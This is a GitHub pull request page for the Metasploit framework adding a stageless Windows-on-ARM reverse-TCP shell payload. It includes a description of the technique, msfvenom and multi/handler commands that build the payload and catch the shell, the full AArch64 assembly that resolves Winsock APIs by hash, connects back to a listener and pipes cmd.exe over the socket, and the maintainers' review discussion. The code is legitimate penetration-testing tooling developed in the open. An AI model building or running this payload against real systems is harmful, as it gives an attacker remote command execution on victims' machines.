Skip to content

Add windows/aarch64/shell_reverse_tcp payload#21589

Open
vinicius-batistella wants to merge 4 commits into
rapid7:masterfrom
vinicius-batistella:feature/windows-aarch64-shell-reverse-tcp
Open

Add windows/aarch64/shell_reverse_tcp payload#21589
vinicius-batistella wants to merge 4 commits into
rapid7:masterfrom
vinicius-batistella:feature/windows-aarch64-shell-reverse-tcp

Conversation

@vinicius-batistella

Copy link
Copy Markdown
Contributor

Add windows/aarch64/shell_reverse_tcp payload

Closes (or partially addresses) #20385.

Summary

Adds the first Windows on ARM (AArch64) reverse-TCP command-shell
payload. Connects back to LHOST:LPORT, spawns cmd.exe, and pipes
stdin/stdout/stderr through the socket via CreateProcessA with
STARTF_USESTDHANDLES. Position-independent shellcode, no static
imports, no relocations.

Same module structure as the existing windows/aarch64/exec (single
stageless payload assembled inline via compile_aarch64), so it slots
into the existing toolchain (-f raw / -f exe / multi/handler).

Technique

  • API resolution — PEB walk → InInitializationOrderModuleList
    match kernel32.dll by name length, then Stephen Fewer's classic
    ROR-13 hash lookup against the Export Address Table. Same resolver
    block that windows/aarch64/exec uses.
  • Winsock chain
    LoadLibraryA("Ws2_32.dll")
    WSAStartup(MAKEWORD(2,2))
    WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)
    WSAConnect(s, &sockaddr_in, ...).
  • Shell spawnCreateProcessA(NULL, "cmd.exe", ..., TRUE, ...)
    with a STARTUPINFOA whose hStdInput / hStdOutput / hStdError
    all point at the socket handle.
  • EXITFUNC dispatcher — at the tail, the chosen kernel32 exit API
    (TerminateProcess / ExitThread / ExitProcess) is re-resolved by
    ROR-13 hash at runtime. The two 16-bit MOVZ/MOVK immediates that
    encode the hash are patched by the Ruby module per the
    EXITFUNC datastore option, so a single asm body covers all three
    cases without source duplication.

Module options

Name Default Required Description
LHOST yes Listener address (registered via Msf::Handler::ReverseTcp)
LPORT 4444 yes Listener port
EXITFUNC process yes process / thread / none / seh (last is treated as process)

LHOST/LPORT are encoded into three MOVZ/MOVK immediates inside
fill_sockaddr_fast (sin_port + two halves of the IPv4 sin_addr), with
the standard network-byte-order → little-endian-immediate transform.
No offset-based byte patching; the encoded values are interpolated as
hex literals into the assembly heredoc before compile_aarch64 runs.

Output size

CachedSize = 664 bytes (raw shellcode). With -f exe the resulting
PE is 6656 bytes (the existing template_aarch64_windows.exe template
plus the embedded shellcode).

Usage

$ ./msfvenom -p windows/aarch64/shell_reverse_tcp \
             LHOST=192.168.0.10 LPORT=4444 \
             -f exe -o shell.exe
[*] Payload size: 664 bytes
[*] Final size of exe file: 6656 bytes
[*] Saved as: shell.exe

$ ./msfconsole -q -x "use exploit/multi/handler; \
                      set payload windows/aarch64/shell_reverse_tcp; \
                      set LHOST 192.168.0.10; set LPORT 4444; run"
[*] Started reverse TCP handler on 192.168.0.10:4444
[*] Command shell session 1 opened (192.168.0.10:4444 -> 192.168.0.x:xxxxx)
C:\Users\...\Downloads>

Verification

Tested end-to-end on Windows 11 ARM64 (build 10.0.26200.8655) running
inside a UTM VM. Each of the three EXITFUNC modes was built into its
own binary and exercised against a fresh handler. All three caught
sessions, whoami / ipconfig / dir all worked, exit cleanly
terminated the shellcode in all three modes.

  • msfvenom -f raw produces a 664-byte raw shellcode
  • msfvenom -f exe produces a runnable PE on Win11 ARM64
  • nc -lvnp <port> catches the shell (sanity check the wire format is a plain TCP cmd.exe pipe)
  • multi/handler upgrades the connection to a proper shell aarch64/windows session with banner detection
  • EXITFUNC=process (default) — TerminateProcess on self
  • EXITFUNC=thread — ExitThread (terminates the only thread → process exits)
  • EXITFUNC=none — falls through to ExitProcess via dispatcher
  • tools/dev/msftidy.rb passes
  • rubocop -a passes
  • Module loads cleanly via reload_all + use payload/... + show info + show options

Notes

  • Depends on Wire ARCH_AARCH64 into to_executable_fmt for exe and exe-only #21588 (the exe.rb ARCH_AARCH64 dispatcher fix).
    Without that PR merged, -f exe returns "The payload could not be
    generated, check options" because to_executable_fmt's 'exe' case
    has no AArch64 branch. -f raw still works without the dependency.
  • This is the first AArch64 Windows reverse payload upstream. Follow-up
    ideas: windows/aarch64/shell_bind_tcp (swap WSAConnect for
    WSAAccept), and a staged windows/aarch64/reverse_tcp once
    metasploit-payloads ARM64 metsrv (Add ARM64 cross-compilation support for Windows Meterpreter metasploit-payloads#794)
    lands so a Meterpreter stage exists to load.
  • Module is a Msf::Payload::Single. No staged variant in this PR.
  • The asm heredoc preserves the same slot-table offsets as the
    standalone debugging prototype to keep the two artifacts
    byte-comparable during future audits. Gaps at [x29, #0x10] and
    [x29, #0x20] are intentional and documented inline.

Author / License

  • Author: Vinicius Batistella
  • Same MSF_LICENSE as the rest of the framework.

Comment on lines +6 to +14
# Drop this file at:
# modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb
# inside your metasploit-framework clone, then:
# ./msfvenom -p windows/aarch64/shell_reverse_tcp LHOST=... LPORT=... -f raw -o shell.bin
# ./msfvenom -p windows/aarch64/shell_reverse_tcp LHOST=... LPORT=... -f exe -o shell.exe
# ./msfconsole -q -x "use exploit/multi/handler; \
# set payload windows/aarch64/shell_reverse_tcp; \
# set LHOST ...; set LPORT ...; run"
##

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That header was leftover scratch from the standalone-prototype phase. Removed in f422732.

Comment on lines +55 to +72
# Fall back to placeholders when datastore isn't populated yet -- the
# framework calls generate() from `size` during `show info` / module
# discovery, well before the user sets LHOST/LPORT. Raising here would
# break those flows. msfvenom always populates the datastore from CLI
# flags before invoking generate, so real use is unaffected.
lhost = datastore['LHOST']
lhost = '127.0.0.1' if lhost.nil? || lhost.to_s.empty?

lport = datastore['LPORT'].to_i
lport = 4444 unless (1..65535).cover?(lport)

ip_bytes = Rex::Socket.addr_aton(lhost)
unless ip_bytes && ip_bytes.bytesize == 4
# Hostname resolved to non-IPv4 (or resolve failed). Fall back to
# loopback so size calc still works; msfvenom will error elsewhere
# if the user really tried to use a bad LHOST.
ip_bytes = Rex::Socket.addr_aton('127.0.0.1')
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All of this is done internally as LHOST and LPORT are required datastore options.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, you were right. Fixed in f422732 as well.

Comment on lines +131 to +371
def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:)
# Differences from the standalone rev2.s prototype:
# - `.text` / `.global` directives stripped (aarch64 gem rejects them)
# - `[reg, wreg, uxtw #N]` rewritten as `mov w15, w4; lsl x15, x15, #N;
# add x15, base, x15; ldr ...` to avoid extended-register addressing
# in the aarch64 gem parser
# - constant expressions like `(12*2)` pre-evaluated to literals
# - `mov x0, #-1` replaced with `movn x0, #0` (canonical encoding)
#
# Slot table (x29 + offset):
# 0x00 kernel32_base 0x08 &find_function 0x18 LoadLibraryA
# 0x28 WSAStartup 0x30 WSASocketA 0x38 WSAConnect
# 0x40 CreateProcessA 0x50 sockaddr_in 0x70 WSADATA
# Gaps at 0x10 and 0x20 are intentional -- previously held cached
# TerminateProcess (re-resolved by exitfunk now) and OpenProcessToken
# (was unused dead code), preserved to keep slot offsets stable.
<<~ASM
main:
sub sp, sp, #0x300
mov x29, sp
add x19, x29, #0x50
add x21, x29, #0x70

find_kernel32:
ldr x6, [x18, #0x60]
ldr x6, [x6, #0x18]
ldr x6, [x6, #0x30]

next_module:
ldr x3, [x6, #0x10]
ldr x7, [x6, #0x40]
ldr x6, [x6]
ldrh w8, [x7, #24]
cbnz w8, next_module

find_function_shorten:
b find_function_shorten_bnc

find_function_ret:
str x30, [x29, #0x08]
b resolve_symbols_kernel32

find_function_shorten_bnc:
bl find_function_ret

find_function:
mov w10, w0
ldr w8, [x3, #0x3c]
add x8, x8, x3
ldr w9, [x8, #0x88]
add x9, x9, x3
ldr w4, [x9, #0x18]
ldr w11, [x9, #0x20]
add x11, x11, x3

find_function_loop:
cbz w4, find_function_finished
sub w4, w4, #1
mov w15, w4
lsl x15, x15, #2
add x15, x11, x15
ldr w12, [x15]
add x6, x12, x3

compute_hash:
mov w5, wzr

compute_hash_again:
ldrb w0, [x6], #1
cbz w0, compute_hash_finished
ror w5, w5, #13
add w5, w5, w0
b compute_hash_again

compute_hash_finished:
find_function_compare:
cmp w5, w10
b.ne find_function_loop

ldr w12, [x9, #0x24]
add x12, x12, x3
mov w15, w4
lsl x15, x15, #1
add x15, x12, x15
ldrh w4, [x15]
ldr w12, [x9, #0x1c]
add x12, x12, x3
mov w15, w4
lsl x15, x15, #2
add x15, x12, x15
ldr w13, [x15]
add x0, x13, x3

find_function_finished:
ret

resolve_symbols_kernel32:
str x3, [x29, #0x00]

movz w0, #0x4e8e
movk w0, #0xec0e, lsl #16
ldr x9, [x29, #0x08]
blr x9
str x0, [x29, #0x18]

resolve_symbols_CreateProcessA:
movz w0, #0xfe72
movk w0, #0x16b3, lsl #16
ldr x9, [x29, #0x08]
blr x9
str x0, [x29, #0x40]

load_ws2_32:
movz x0, #0x7357
movk x0, #0x5f32, lsl #16
movk x0, #0x3233, lsl #32
movk x0, #0x642e, lsl #48
movz w1, #0x6c6c
sub sp, sp, #16
str x0, [sp]
str w1, [sp, #8]
mov x0, sp
ldr x9, [x29, #0x18]
blr x9
add sp, sp, #16
mov x3, x0

resolve_ws2_32:
movz w0, #0xedcb
movk w0, #0x3bfc, lsl #16
ldr x9, [x29, #0x08]
blr x9
str x0, [x29, #0x28]

movz w0, #0x09d9
movk w0, #0xadf5, lsl #16
ldr x9, [x29, #0x08]
blr x9
str x0, [x29, #0x30]

movz w0, #0xba0c
movk w0, #0xb32d, lsl #16
ldr x9, [x29, #0x08]
blr x9
str x0, [x29, #0x38]

call_WSAStartup:
movz w0, #0x0202
mov x1, x21
ldr x9, [x29, #0x28]
blr x9

call_WSASocket:
mov w0, #2
mov w1, #1
mov w2, #6
mov x3, xzr
mov w4, wzr
mov w5, wzr
ldr x9, [x29, #0x30]
blr x9
mov x22, x0

fill_sockaddr_fast:
movz x0, #0x0002
movk x0, ##{format('0x%04x', port_imm)}, lsl #16
movk x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32
movk x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48
stp x0, xzr, [x19]

call_WSAConnect:
mov x0, x22
mov x1, x19
mov w2, #16
mov x3, xzr
mov x4, xzr
mov x5, xzr
mov x6, xzr
ldr x9, [x29, #0x38]
blr x9

build_PROCESS_INFORMATION_and_STARTUPINFOA:
sub sp, sp, #0xB0
add x10, sp, #0x10
add x11, sp, #0x30
add x12, sp, #0xA0

stp xzr, xzr, [x10]
str xzr, [x10, #16]

stp xzr, xzr, [x11, #0x00]
stp xzr, xzr, [x11, #0x10]
stp xzr, xzr, [x11, #0x20]
stp xzr, xzr, [x11, #0x30]
stp xzr, xzr, [x11, #0x40]
stp xzr, xzr, [x11, #0x50]
str xzr, [x11, #0x60]

mov w0, #0x68
str w0, [x11, #0x00]
mov w0, #0x100
str w0, [x11, #0x3C]
str x22, [x11, #0x50]
str x22, [x11, #0x58]
str x22, [x11, #0x60]

movz x0, #0x6D63
movk x0, #0x2E64, lsl #16
movk x0, #0x7865, lsl #32
movk x0, #0x0065, lsl #48
str x0, [x12]

call_CreateProcessA:
mov x0, xzr
mov x1, x12
mov x2, xzr
mov x3, xzr
mov w4, #1
mov w5, wzr
mov x6, xzr
mov x7, xzr
stp x11, x10, [sp]

ldr x9, [x29, #0x40]
blr x9

add sp, sp, #0xB0

exitfunk:
ldr x3, [x29, #0x00]
movz w0, ##{format('0x%04x', exit_lo)}
movk w0, ##{format('0x%04x', exit_hi)}, lsl #16
ldr x9, [x29, #0x08]
blr x9
mov x10, x0
movn x0, #0
mov w1, wzr
blr x10
brk #0
ASM
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This stuff looks mostly like boilerplate stuff, why not compile the shellcode once, store it in Payload option in initialize and set lhost and lport using Offsets?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same pattern as modules/payloads/singles/osx/aarch64/shell_reverse_tcp.rb (@AlanFoster), and for the same reason: the AArch64 sockaddr is built from MOVZ/MOVK immediates loaded into a register, not from raw .word bytes. The 16-bit value lives at bits 5–20 of a 32-bit instruction word, so the framework's standard Offsets byte-substitution types ('ADDR', 'n', 'v', 'ADDR16MSB/LSB' in Msf::Payload#substitute_vars) don't natively patch it. linux/aarch64/shell_reverse_tcp can use precompiled bytes + Offsets precisely because its sockaddr is stored as raw .word 0x5c110002, 0x0100007f literals — that's not possible here without a custom packing type.
That said, a clean precompiled-once refactor is feasible: declare a custom packing (e.g. 'AARCH64_MOVK_IMM16') and override replace_var (the per-payload hook at lib/msf/core/payload.rb:346) to do the bit-field patch ourselves. generate then collapses to nearly a no-op, and the asm parser only runs once at module load. Happy to do that as a follow-up commit if you'd prefer the precompiled-once design — just confirm and I'll push it.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new stageless Windows-on-ARM (AArch64) reverse TCP command-shell payload (windows/aarch64/shell_reverse_tcp) and hooks AArch64 into the EXE format dispatcher so msfvenom can wrap AArch64 payloads into PE executables, with accompanying RSpec coverage.

Changes:

  • Add modules/payloads/singles/windows/aarch64/shell_reverse_tcp implementing an inline reverse TCP cmd.exe shell for Windows AArch64.
  • Add RSpec coverage for payload generation variability (LHOST/LPORT/EXITFUNC) and cached-size consistency.
  • Add ARCH_AARCH64 dispatch branches to Msf::Util::EXE.to_executable_fmt for exe and exe-only.

Impact Analysis:

  • Blast radius: medium — new payload affects payload consumers (msfvenom, multi/handler) and to_executable_fmt affects all -f exe/-f exe-only users for Windows AArch64.
  • Data and contract effects: low — no schema/storage changes; does expand supported arch/format combinations for executable generation.
  • Rollback and test focus: rollback is straightforward (revert new payload + dispatcher branches); validate msfvenom -f exe/-f exe-only for x86/x64 remains unchanged and AArch64 now succeeds, plus run the added RSpec payload specs.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 5 comments.

File Description
modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb New Windows AArch64 reverse TCP command shell payload implemented as inline assembled shellcode.
spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb New spec validating payload compiles and changes output with LHOST/LPORT/EXITFUNC.
spec/modules/payloads_spec.rb Registers the new payload for cached-size consistency shared example coverage.
lib/msf/util/exe.rb Adds ARCH_AARCH64 branches for exe and exe-only format wrapping to AArch64 PE generator.

Comment thread lib/msf/util/exe.rb Outdated
Comment on lines +138 to +139
when ARCH_AARCH64
to_winaarch64pe(framework, code, exeopts)

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed upstream in #21588 (8ece679). Will drop out of this PR's diff once rebased onto master after #21588 merges.

Comment thread lib/msf/util/exe.rb Outdated
Comment on lines +161 to +162
when ARCH_AARCH64
to_winaarch64pe(framework, code, exeopts)

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed upstream in #21588 (580d45f): the separate mis-indented ARCH_AARCH64 branch was removed when 'exe-only' was folded into when ARCH_X64, ARCH_AARCH64 → to_winpe_only(...).

@@ -0,0 +1,355 @@
##

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added in f06a49d.

Comment on lines +1 to +2
require 'rspec'

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added in f06a49d.

Comment on lines +44 to +46
def generate(_opts = {})
ip_bytes = Rex::Socket.addr_aton(datastore['LHOST'])

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added in f06a49d — raises ArgumentError if LHOST isn't IPv4 before encoding into the AF_INET sockaddr.

@bwatters-r7 bwatters-r7 self-assigned this Jul 7, 2026
@vinicius-batistella

Copy link
Copy Markdown
Contributor Author

@bwatters-r7 and @msutovsky-r7, could a maintainer kindly re-run the failed job? The only failing check is Meterpreter Acceptance / windows_meterpreter windows-2022: a timeout in post/test/socket_channels for windows/meterpreter/reverse_tcp (x86 Meterpreter, 488s). Unrelated to any changes that I've made.

vinicius-batistella and others added 4 commits July 8, 2026 19:09
Position-independent AArch64 reverse-TCP command shell payload for
Windows on ARM. Resolves Winsock and process-creation APIs via PEB
walk + ROR-13 hashing, opens a TCP socket, then spawns cmd.exe with
stdin/stdout/stderr piped over the socket via CreateProcessA with
STARTF_USESTDHANDLES.
Supports EXITFUNC=process/thread/none via a runtime hash-dispatcher
that the Ruby module patches with the chosen kernel32 export hash.
Tested end-to-end on Windows 11 ARM64 (build 26200) with all three
EXITFUNC modes. Output: 664 bytes raw, 6656-byte PE via -f exe.
Depends on the exe.rb ARCH_AARCH64 dispatch fix.
- rubocop -a on the payload module: align hash literals, drop a
  redundant Metrics/MethodLength disable, fix indent in
  compile_aarch64. No semantic changes. Resolves
  Lint/msftidy (3.2) which runs rubocop on touched modules.

- Register windows/aarch64/shell_reverse_tcp in
  spec/modules/payloads_spec.rb under the same shared example
  ('payload cached size is consistent') already used by
  windows/aarch64/exec. Resolves the Verify rspec --tag content
  failure where the 'untested payloads' shared context was
  flagging the new payload as missing from the registry.

- Add spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb
  modeled on the existing windows/aarch64/exec_spec.rb: stubs
  compile_aarch64 to keep the spec independent of the AArch64
  parser, then asserts that the asm pipeline runs, that LHOST and
  LPORT changes alter the produced shellcode, and that all three
  EXITFUNC modes (process / thread / none) generate non-empty
  output.

Co-authored-by: Cursor <cursoragent@cursor.com>
- Drop the leftover prototype 'Drop this file at: ...' header
  comment block. It described how to drop the standalone file
  into a clone, which is no longer relevant once the module
  ships in tree (msutovsky-r7).

- Drop the LHOST/LPORT/IP fallback in generate. LHOST and LPORT
  are required datastore options registered by the
  Msf::Handler::ReverseTcp handler, and the cached-size /
  show-info paths populate them via PayloadCachedSize.module_options
  (OPTS_IPV4: LHOST=223.255.255.255 LPORT=4444). The fallback was
  defensive scaffolding from prototype days that never actually
  triggered (msutovsky-r7).

generate is now ~30 lines shorter and matches the assumption
that the framework guarantees populated datastore options before
invoking it -- same contract as osx/aarch64/shell_reverse_tcp.

No change to the produced shellcode bytes for any valid
LHOST/LPORT/EXITFUNC combination.

Co-authored-by: Cursor <cursoragent@cursor.com>
- Add # frozen_string_literal: true to the payload module and its
  spec file per AGENTS.md convention for new Ruby files.

- Validate LHOST is IPv4 before encoding into the AF_INET sockaddr.
  OptAddress accepts IPv6 hostnames but this shellcode builds a
  4-byte sin_addr via MOVZ/MOVK immediates; without the check an
  IPv6 LHOST silently produces non-functional shellcode. Matches
  linux/riscv64le/shell_reverse_tcp and osx/x64/shell_reverse_tcp.

Co-authored-by: Cursor <cursoragent@cursor.com>
@vinicius-batistella vinicius-batistella force-pushed the feature/windows-aarch64-shell-reverse-tcp branch from f06a49d to d532673 Compare July 8, 2026 22:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

module payload rn-modules release notes for new or majorly enhanced modules

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

6 participants